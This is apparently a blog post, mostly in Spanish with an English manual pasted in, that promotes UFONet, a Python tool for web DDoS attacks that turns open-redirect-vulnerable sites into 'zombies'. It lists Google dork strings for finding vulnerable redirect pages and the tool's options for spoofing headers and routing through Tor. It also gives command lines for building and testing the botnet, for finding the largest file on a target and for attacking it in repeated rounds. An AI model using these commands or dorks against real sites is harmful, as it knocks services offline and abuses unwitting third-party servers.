¿Qué es UFONet?
===============================================+ Herramienta automática para lanzar ataques DDoS
+ Escrita en python / GPL v3.0
+ Primera versión:
- Nacida como modulo de XSSer (2009)
- Lanzada: v0.1b → 2013
+ Explota la Capa 7 (HTTP/Web Abuse)
- Vectores “Open Redirect”
OWASP: Top 10 2013-A10-Unvalidated Redirects and Forwards
+ Objetivo → Agotamiento de recursos (DoS)
¿Cómo funciona?
===============================================+ CWE-601: URL Redirection to Untrusted Site
Una aplicación web acepta una entrada controlada por el usuario, que especifica un enlace a
un sitio web externo y éste, utiliza ese enlace para una redirección.
+ OWASP: URL Redirector Abuse
Una aplicación acepta URLs arbitrarias definidas por el usuario, que luego se utilizan como objetivos para la redirección. Los usuarios pueden ser reconducidos, sin saberlo, a un sitio malicioso desde otro de confianza.
Ej: Ataques de Phishing
- CWE-601:Open Redirect:
http://cwe.mitre.org/data/
-------
Web: http://ufonet.sf.net
-------
Características principales:
+ Se actualiza de forma automática
+ Código bastante limpio (solo necesita python-pycurl)
+ Documentación con ejemplos
+ Tiene un interfaz Web/GUI
+ Permite usar un proxy para conectarte a los "zombies" (ej: tor)
+ Puedes cambiar las cabeceras HTTP (User-Agent, Referer, Host...)
+ Puedes configurar las peticiones (Timeout, Retries, Delay...)
+ Tiene una opción para buscar "zombies" en los resultados de google
(usando un patrón o a través de una lista de dorks)
+ Permite probar las vulnerabilidades 'Open Redirect' en los "zombies"
+ Permite subir/bajar "zombies" a un servidor de Comunidad
+ Inspecciona el objetivo para buscar los ficheros de mayor peso
+ Te permite elegir el punto en el que quieres que los "zombies"
recarguen (ej: una película, un fichero de peso, etc..)
+ Puedes controlar el número de rondas que quieres atacar
+ Aplica algunas técnicas para evadir la cache en el objetivo
+ [...]
--------
Vídeo:
- http://ufonet.sf.net/ufonet/
Fuente:
$ git clone https://github.com/epsylon/ufonet
Paquete (.zip):
- http://sf.net/projects/ufonet/
RT:
- https://twitter.com/psytzsche/
Foro:
- https://forum.unsystem.net/t/
-------
Opciones - Parámetros de UFOnet
--version show program's version number and exit
-v, --verbose active verbose on requests
--check-tor check to see if Tor is used properly
--force-yes Set 'YES' to all questions
--update check for latest stable version
--gui launch GUI/Web Interface
*Configure Request(s)*:
--proxy=PROXY Use proxy server (tor: http://localhost:8118)
--user-agent=AGENT Use another HTTP User-Agent header (default SPOOFED)
--referer=REFERER Use another HTTP Referer header (default SPOOFED)
--host=HOST Use another HTTP Host header (default NONE)
--xforw Set your HTTP X-Forwarded-For with random IP values
--xclient Set your HTTP X-Client-IP with random IP values
--timeout=TIMEOUT Select your timeout (default 30)
--retries=RETRIES Retries when the connection timeouts (default 1)
--delay=DELAY Delay in seconds between each HTTP request (default 0)
*Manage Botnet*:
-s SEARCH Search 'zombies' on google (ex: -s 'proxy.php?url=')
--sd=DORKS Search from a list of 'dorks' (ex: --sd dorks.txt)
--sn=NUM_RESULTS Set max number of result to search (default 10)
-t TEST Test list of web 'zombie' servers (ex: -t zombies.txt)
*Community Botnet*:
--download-zombies Download list of 'zombies' from Community
--upload-zombies Share your 'zombies' with Community
*Research Target*:
-i INSPECT Inspect object's sizes (ex: -i http(s)://target.com)
*Configure Attack(s)*:
-r ROUNDS Set number of 'rounds' for the attack (default: 1)
-b PLACE Set a place to 'bit' on target (ex: -b /path/big.jpg)
-a TARGET Start a Web DDoS attack (ex: -a http(s)://target.com)
/Instalación/
===============================================
UFONet funciona en diferentes plataformas.
- GNU/Linux / Win32 / OSX …
Requiere:
- Python (~2.7.x)
- python-pycurl - Python bindings to libcurl
En sistemas basados en Debian (ej: Ubuntu):
~$ sudo apt-get install python-pycurl
/Características/
===============================================
+ Modularidad:
- Código escrito desde 0 (Limpio)
+ Proxy: (ej: Tor)
- Maestro → Proxy → Proxy(Zombie) → Objetivo
+ Spoofing: (Cabeceras HTTP)
- User-Agent/Referer/Host/X-Forwarded-For/...
+ Controlador de la Botnet:
- Buscar 'zombies' en Internet
- Probar las vulnerabilidades (Open Redirect)
+ Impacto: Petición(es) / Evadir cache en objetivo/...
- Download:
Current version: v0.4b - Infection!Package: UFOnet(.zip) git clone https://github.com/epsylon/ufonet
- Installing:
UFONet runs on many platforms. It requires Python and the following library:
python-pycurl - Python bindings to libcurl
On Debian-based systems (ex: Ubuntu), run:
sudo apt-get install python-pycurl
Source libs: Python | PyCurl
- Searching for 'zombies':
UFONet will search on google results for possible 'Open Redirect' vulnerable sites.
A common query string should be like this:
'proxy.php?url='
'check.cgi?url='
'checklink?uri='
'validator?uri='
So for example, you can begin a search with:
./ufonet -s 'proxy.php?url='
At the end of the process, you will be asked if you want to check the list retrieved to see
if the urls are vulnerable.
Wanna check if they are valid zombies? (Y/n)
Also, you will be asked to update the list adding automatically only 'vulnerable' web apps.
Wanna update your list (Y/n)
If you reply 'Y', your new 'zombies' will be appended to the file named: zombies.txt
-------------
Examples:
+ with verbose: ./ufonet -s 'proxy.php?url=' -v
+ retrieve 15 urls: ./ufonet -s 'proxy.php?url=' --sn 15
- Testing botnet:
Open 'zombies.txt' (or another file) and create a list of possible 'zombies'.
Urls of the 'zombies' should be like this:
http://target.com/check?uri=
After that, launch it:
./ufonet -t zombies.txt
At the end of the process, you will be asked if you want to update the list
adding automatically only 'vulnerable' web apps.
Wanna update your list (Y/n)
If you reply 'Y', your file: zombies.txt will be updated.
-------------
Examples:
+ with verbose: ./ufonet -t zombies.txt -v
+ with proxy TOR: ./ufonet -t zombies.txt --proxy="http://127.0.0.1:8118"
- Inspecting a target:
This option is useful to know the best place to attack your target.
It will crawl your objetive to provide you with a URL path to the largest object (size)
found in the HTML code.
./ufonet -i http://target.com
Then, you will can drive your 'zombies' to reload just there, doing your most effective attack.
./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"
- Attacking a target:
Enter a target to attack, with the number of rounds that will be attacked:
./ufonet -a http://target.com -r 10
This will attack the target, with the list of 'zombies' that your provided on: "zombies.txt",
a number of 10 times for each 'zombie'. That means, that if you have a list of 1.000 'zombies',
the program will launch 1.000 'zombies' x 10 rounds = 10.000 'hits' to the target.
By default, if you don't put any round, it will apply only 1.
Additionally, you can choose a place to recharge on target's site. For example, a large image,
a big size file or a flash movie. In some scenarios where targets doesn't use cache systems,
this will do the attack more effective.
./ufonet -a http://target.com -b "/images/big_size_image.jpg"
-------------
Examples:
+ with verbose: ./ufonet -a http://target.com -r 10 -v
+ with proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
+ with a place: ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
- Updating:
UFONet implements an option to update the tool to the latest stable version. This feature can be used only if you have cloned it from GitHub repository To check your version you should launch: ./ufonet --update This will update the tool automatically, removing all files from your old package.
- GUI/Web Interface:
You can manage UFONet using a Web interface. The tool has implemented a python web server
connected to the core, to provides you a more user friendly experience.
To launch it, use:
./ufonet --gui
This will open a tab on your default browser with some options of the tool.
- Schema:
- Slides:
- UFONet-v0.3.1b (English): Download! (.pdf) - UFONet-v0.3.1b (Spanish): Download! (.pdf)
- Videos:
- UFONet-v0.4b "Infection" (.webm)

No hay comentarios:
Publicar un comentario